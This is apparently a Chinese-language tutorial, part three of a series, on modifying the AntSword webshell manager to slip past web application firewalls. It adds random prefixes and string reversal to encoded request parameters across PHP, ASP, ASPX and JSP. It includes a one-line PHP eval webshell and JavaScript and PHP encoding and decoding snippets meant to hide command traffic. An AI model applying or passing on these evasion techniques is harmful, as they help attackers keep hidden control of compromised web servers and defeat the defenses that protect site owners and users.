蚁剑改造过WAF系列(三)
字数 1283 2025-08-20 18:18:04
蚁剑改造过WAF系列(三)技术文档
0x00 前言
本系列文章主要讲解如何对蚁剑(中国蚁剑)进行改造以绕过Web应用防火墙(WAF)的检测。前两篇已介绍了蚁剑的基本功能、编解码器原理及源码分析,并实现了流量加密传输。本篇将重点讲解如何通过参数随机化技术进一步隐藏流量特征。
0x01 参数随机化调优
基本原理
- 传统蚁剑的其他参数(非主payload)使用固定编码方式(base64/hex),容易被WAF识别
- 改造思路:为编码后的参数添加可变长度随机前缀,增加混淆度
实现细节
-
在
source/modules/shellmanager/list/form.js中设置默认随机前缀长度为5- 选择5的原因:
- PHP/ASPX使用base64编码,前缀长度不应为4的倍数
- ASP使用hex编码,前缀长度不应为偶数
- 选择5的原因:
-
修改
source/core/base.js中的format函数- 原函数接收
encode参数指定编码方式 - 改造后接收
opts对象,可获取随机前缀长度等配置 - 新增
newbase64函数,在base64编码后添加随机前缀并进行逆序处理
- 原函数接收
-
Bug修复
- 确保所有调用
format的位置都改为传入opts而非encode - 特别检查ASP/ASPX相关代码
- 确保所有调用
0x02 ASP/ASPX参数随机化改造
ASP改造
-
在
source/core/base.js中新增:newhex函数:对hex编码添加随机前缀newbuffer函数:处理buffer相关的编码转换
-
修改ASP模板文件(如
source/core/asp/template/filemanager.js)- 使用
newhex替代原有hex编码 - 实现参数值的随机前缀+逆序处理
- 使用
ASPX改造
与ASP改造类似,主要修改ASPX模板文件,使用改造后的编码函数。
PHP模板调整
修改source/core/php/template/filemanager.js:
- 参数处理流程:base64 → 随机前缀 → 逆序
- 服务端处理流程:逆序 → 去除前缀 → base64解码
0x03 随机化参数测试
PHP测试
- 示例webshell:
<?@eval($_POST["test"]);?> - 编码效果:base64编码后添加随机前缀并进行逆序
- 检测难度:WAF难以识别倒序且带随机前缀的base64数据
ASP测试
- 使用hex编码
- 添加随机前缀后更难识别
JSP支持
- 基于yzddMr6的实现
- 由于Java特殊性,payload编码方式固定为base64或hex
- 示例webshell较为简洁
0x04 总结
技术要点
- 流量加密:通过异或等简单算法加密key和value
- 参数混淆:随机前缀+逆序处理
- 全语言支持:PHP、ASP、ASPX、JSP的统一改造
扩展思考
- 文件上传免杀:需结合其他技术实现
- 落地免杀:特征较易提取,需持续更新
0x05 参考
附录:关键代码片段
base.js新增函数
function newbase64(str, opts) {
let encoded = Buffer.from(str).toString('base64');
if(opts && opts['random-prefix']) {
let prefix = randomString(opts['random-prefix']);
encoded = prefix + encoded;
encoded = encoded.split('').reverse().join(''); // 逆序处理
}
return encoded;
}
function newhex(str, opts) {
let encoded = Buffer.from(str).toString('hex');
if(opts && opts['random-prefix']) {
let prefix = randomString(opts['random-prefix']);
encoded = prefix + encoded;
}
return encoded;
}
PHP模板处理
// 客户端编码
$encoded = newbase64($data, { 'random-prefix': 5 });
// 服务端解码
$reversed = strrev($_POST['arg1']);
$withoutPrefix = substr($reversed, 5);
$decoded = base64_decode($withoutPrefix);